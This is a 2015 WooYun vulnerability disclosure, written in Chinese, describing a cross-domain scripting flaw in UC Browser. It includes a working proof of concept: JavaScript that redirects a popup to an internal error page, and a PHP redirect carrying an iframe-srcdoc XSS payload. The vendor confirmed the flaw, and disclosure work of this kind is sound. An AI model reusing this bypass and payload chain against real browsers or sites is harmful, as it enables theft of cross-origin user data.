当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0105578

漏洞标题:UC浏览器跨域脚本漏洞可获取其他网站数据(含过程分析)

相关厂商:UC Mobile

漏洞作者: Lyleaks

提交时间:2015-04-03 14:08

修复时间:2015-07-02 16:08

公开时间:2015-07-02 16:08

漏洞类型:设计错误/逻辑缺陷

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-04-03: 细节已通知厂商并且等待厂商处理中
2015-04-03: 厂商已经确认,细节仅向厂商公开
2015-04-06: 细节向第三方安全合作伙伴开放
2015-05-28: 细节向核心白帽子及相关领域专家公开
2015-06-07: 细节向普通白帽子公开
2015-06-17: 细节向实习白帽子公开
2015-07-02: 细节向公众公开

简要描述:

更新了UC浏览器,发现 http://www.wooyun.org/bugs/wooyun-2010-093214 没修好

详细说明:

经过上次提交的漏洞之后,UC浏览器在当前域名打开不同域名的窗口时,会进行拦截。
比如在utf7.ml打开www.wooyun.org时

Screenshot_2015-04-03-13-10-58.png


即使允许弹出,也不能跳转到

ext:lp:lp_netErrorInfo:#_NETWORK_FAIL_INFO_#;Url=http://www.example.com/;IP=1;IPNum=1; ;FailReason=1;ErrorCode=1;


Screenshot_2015-04-03-13-10-05.png


但是如果域名相同,弹出的窗口不会被拦截,并且可以跳转到错误页面。
猜测只是对打开的域名进行判断,所以尝试重定向到www.wooyun.org来绕过限制。
构造如下POC

<a href=javascript:foo()>Test it!</a>
<script>
var w;
var t;

function foo(){
w = window.open("http://utf7.ml/t/uc2.php");
t = setInterval('bar()',100);
}

function bar(){
if (w.location.href !== 'about:blank') {
w.location='ext:lp:lp_netErrorInfo:#_NETWORK_FAIL_INFO_#;Url=http://www.example.com/;IP=1;IPNum=1; ;FailReason=1;ErrorCode=1;';
clearInterval(t);
}
}
</script>


uc2.php的源码为

<?php
sleep(1);
header('Location:http://www.wooyun.org/#"><iframe srcdoc="&lt;img src&equals;x:x onerror&equals;alert&lpar;document.domain&rpar;&gt;" />');
?>


成功跳转到错误页面

Screenshot_2015-04-03-13-08-30.png


Screenshot_2015-04-03-13-08-39.png

漏洞证明:

访问
http://utf7.ml/t/uc2.html
点击
Test it!
测试版本

Screenshot_2015-04-03-13-07-50.png

修复方案:

修复XSS

版权声明:转载请注明来源 Lyleaks@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-04-03 16:06

厂商回复:

漏洞存在,已装给相关人员处理,非常感谢!

最新状态:

暂无